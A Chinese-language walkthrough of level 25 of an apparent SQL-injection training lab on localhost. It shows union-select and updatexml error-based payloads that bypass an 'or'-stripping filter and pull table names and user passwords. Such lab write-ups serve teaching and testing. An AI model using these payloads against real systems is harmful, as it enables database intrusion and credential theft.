第二十五关:
直接开始验证它的闭合符号。发现是单引号闭合,然后查列 利用 order by
http://127.0.0.1/sqli/Less-25/?id=122’ order by 2
查看底下的蓝字发现少了or 所以猜测对or进行了绕过。所以采用union select进行查询
http://127.0.0.1/sqli/Less-25/?id=122’ union select 1,2,3–+
可以查询出。接下来就是常规注入。
查库:http://127.0.0.1/sqli/Less-25/?id=122’ union select 1,database(),3–+
查表:select group_concat(table_name) from information_schema.tables where table_schema=’security’;
查列:select group_concat(column_name) from information_schema.columns where table_name=’users’;
查字段:selsct username,password from security.users;
但是本关还可以利用报错注入方式进行注入。
语句:http://127.0.0.1/sqli/Less-25/?id=122’ union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=‘security’)),1),3–+